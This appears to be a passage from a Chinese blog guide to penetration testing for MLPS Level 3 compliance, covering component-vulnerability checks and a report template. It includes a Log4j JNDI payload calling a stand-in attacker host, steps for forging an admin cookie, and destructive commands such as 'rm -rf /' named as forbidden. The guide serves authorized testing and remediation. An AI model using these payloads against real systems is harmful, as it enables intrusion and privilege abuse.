${jndi:ldap://test-attacker.com/exp}请求,观察攻击者服务器是否收到连接; - 工具验证:用Burp Suite“Active Scan”或PoCsuite框架扫描;
- 用公开POC测试:如Log4j漏洞,发送
- 判定漏洞:若POC执行成功(如执行
whoami命令),即为组件/框架漏洞。
- 收集组件信息:
- 工具推荐:Nmap、Burp Suite、PoCsuite、Metasploit;
- 实战案例:测试“应急系统”时,发现其使用
Apache Log4j 2.14.1,通过发送${jndi:ldap://test-attacker.com:1389/exp}请求,成功执行whoami命令。
3. 等保测评渗透测试报告规范撰写(覆盖全量漏洞记录)
渗透测试报告需“全量记录测试项目、清晰描述漏洞细节、提供可落地整改方案”,核心模块需覆盖所有测试项目的结果,且所有企业敏感信息均做通用化处理。
3.1 文档整体结构
规范报告需包含以下模块,确保逻辑连贯、无遗漏:
- 文档标题与版本(如“XX系统等保三级测评渗透测试报告_V1.0”);
- 目录(自动生成,便于定位);
- 测试概述(目的、范围、依据、方法);
- 测试结果汇总(全量测试项目结果统计);
- 漏洞详情(覆盖所有发现的漏洞,含“不适用”项目说明);
- 整改情况跟踪(漏洞整改状态);
- 安全建议(短期+长期);
- 附录(测试工具清单、漏洞截图、不适用项目说明)。
3.2 核心模块撰写指南(附全量模板)
3.2.1 模块1:测试概述(明确全量测试范围)
需明确“测试的系统、覆盖的测试项目”,避免后续争议。模板如下:
- 测试目的:验证XX系统(含CSM管理端、3C客服、Webservice等8个系统)是否满足《GB/T 22239-2019》等保三级要求,全量覆盖“身份鉴别、访问控制、入侵防范、数据保密、其他漏洞”5大类27项测试项目,发现并整改安全漏洞。
- 测试范围:
序号 系统名称 访问地址 测试端口 覆盖测试项目(重点) 1 CSM管理端 https://10.X.X.X:8888/#/login 8888 弱口令、敏感信息泄漏、XSS 2 客服系统 https://xxxxxxxx-csm.xxx企业域名/FLoginNew.aspx 443 用户名枚举、HTML注入、CSRF 3 Webservice接口 http://service.xxx企业域名:9999/ServiceSupport/ 9999 未授权访问、SQL注入、敏感文件泄漏 … … … … … - 测试依据:《GB/T 22239-2019》《GB/T 28448-2019》;
- 测试方法:黑盒测试+灰盒测试,全量覆盖27项测试项目(清单见附录);
- 测试时间:202X年X月X日-X月X日。
3.2.2 模块2:测试结果汇总(全量项目统计)
用表格直观展示“所有测试项目的结果”,含“存在、不存在、不适用”三类状态。模板如下:
| 测试维度 | 测试项目 | 涉及系统 | 测试结果(存在/不存在/不适用) | 发现漏洞数 |
|---|---|---|---|---|
| 身份鉴别测试 | 弱口令/空口令 | CSM管理端 | 存在 | 1 |
| 用户名枚举 | Portal系统 | 存在 | 1 | |
| 万能账号/口令 | 全系统 | 不存在 | 0 | |
| 登录绕过 | 全系统 | 不存在 | 0 | |
| 密码重置 | Portal系统 | 存在 | 1 | |
| 图形验证爆破 | CSM管理端 | 存在 | 1 | |
| 短信轰炸/爆破 | 全系统 | 不适用(无短信功能) | 0 | |
| 访问控制测试 | 未授权访问 | Webservice、上门设计 | 存在 | 2 |
| 垂直/水平越权访问 | 全系统 | 不存在 | 0 | |
| Cookie伪造/绕过 | Portal系统 | 存在 | 1 | |
| 入侵防范测试 | SQL注入 | Webservice | 存在 | 1 |
| XSS跨站脚本 | 3C客服系统 | 存在 | 1 | |
| 任意文件上传/下载/读取 | 应急系统 | 存在 | 1 | |
| 文件包含 | 全系统 | 不适用(无文件包含功能) | 0 | |
| SSRF | 企业号系统 | 存在 | 1 | |
| URL跳转 | 全系统 | 不存在 | 0 | |
| XML外部实体注入 | Api系统 | 存在 | 1 | |
| HTML注入 | 3C客服系统 | 存在 | 1 | |
| HTTP HOST头攻击 | 全系统 | 不存在 | 0 | |
| CSRF | 全系统 | 不适用(无关键操作接口) | 0 | |
| 数据保密测试 | 敏感文件泄漏 | Webservice | 存在 | 1 |
| 敏感信息泄漏 | CSM管理端 | 存在 | 1 | |
| 旧版本接口遗留 | Api系统 | 存在 | 1 | |
| 其他漏洞测试 | 远程命令执行 | 全系统 | 不适用(无命令执行功能) | 0 |
| 组件和框架漏洞 | 应急系统 | 存在(Log4j漏洞) | 1 | |
| 合计 | 27项 | - | - | 13项 |
3.2.3 模块3:漏洞详情(全量漏洞记录)
每个漏洞需包含“8个关键信息”,确保覆盖所有发现的漏洞。以“Cookie伪造/绕过”为例,模板如下:
| 漏洞信息项 | 内容描述 |
|---|---|
| 漏洞名称 | Portal系统Cookie伪造/绕过漏洞 |
| 漏洞编号 | VULN-202X-008 |
| 涉及系统 | Portal系统(https://service.xxx企业域名/FLoginNew.aspx) |
| 漏洞位置 | Cookie字段(user=USER001; role=user; token=TOKEN-XXXX) |
| 风险等级 | 中风险 |
| 漏洞说明 | 系统Cookie未加密且无时效性校验,攻击者可通过修改role字段为admin,伪造管理员Cookie,访问管理员数据统计页面(/admin/stat.html)。 |
| 测试过程 | 1. 登录用户testuser01,记录Cookie:user=USER001; role=user; token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9;2. 用Base64解码 token,发现含明文{"user":"testuser01","role":"user"};3. 修改 role为admin,重新编码token,手动添加Cookie;4. 访问 /admin/stat.html,成功查看管理员数据(无需登录)。 |
| 整改建议 | 1. 对Cookie进行加密(如AES加密),避免明文篡改; 2. 为 token添加时效性(如30分钟过期),过期后需重新登录;3. 服务器端校验Cookie合法性,对比用户实际权限与Cookie role字段。 |
| 漏洞截图 | 截图1:登录后Cookie详情; 截图2:伪造Cookie后访问管理员页面的截图。 |
3.2.4 模块4:不适用项目说明(关键补充)
需明确“不适用”项目的原因,避免测评机构质疑测试完整性。模板如下:
| 测试项目 | 不适用原因 | 验证过程 |
|---|---|---|
| 短信轰炸/爆破 | 全系统无“短信验证码”“短信通知”功能,所有验证均通过图形验证码或企业内部邮箱完成(如user@xxx企业域名)。 | 检查登录、注册、密码重置功能,未发现短信相关接口;查看系统文档,确认无短信模块。 |
| 文件包含 | 全系统采用Java/Spring Boot框架,无PHP等支持文件包含的脚本语言,且无include类接口。 | 爬取所有接口,未发现file、include等参数;反编译Jar包,未发现文件包含相关代码。 |
| CSRF | 系统关键操作(如修改密码、添加用户)均需输入“原密码”或“验证码”,无仅依赖Cookie的操作,CSRF攻击无法触发。 | 测试“修改密码”接口,发现需提交oldPwd参数,仅伪造Cookie无法完成操作,CSRF攻击无效。 |
4. 实战注意事项(全流程避坑)
- 全量测试不遗漏:严格按27项测试项目执行,即使某项目“不适用”,也需记录原因并验证(如“短信轰炸”需确认系统无短信功能);
- 测试前获授权:签订《渗透测试授权书》,明确测试范围、时间、免责条款,禁止测试未授权系统;
- 数据安全保护:测试中获取的敏感数据(如用户账号、工单信息)需加密存储,测试后删除,不得泄露;
- 避免破坏系统:禁止执行
drop table、rm -rf /等破坏性操作;测试文件上传时,避免上传大文件占用磁盘; - 漏洞验证严谨:发现疑似漏洞后,需多次验证(如换账号、换时间段),避免因网络波动、临时配置导致误判。
总结
等保测评渗透测试的核心是“全量覆盖、精准测试、规范记录”——需严格覆盖27项测试项目,不遗漏任何潜在风险点;测试方法需结合工具与实战经验,确保漏洞无遗漏;报告需清晰记录“全量测试结果、漏洞细节、整改方案”,为等保测评通过提供关键依据。
需注意的是,渗透测试不是“一次性任务”,而是企业安全建设的起点。通过全量测试发现漏洞、整改漏洞,最终建立“测试-整改-监控-优化”的安全闭环,才能真正满足等保合规要求,保障系统长期安全稳定运行。
2万+

被折叠的 条评论
为什么被折叠?



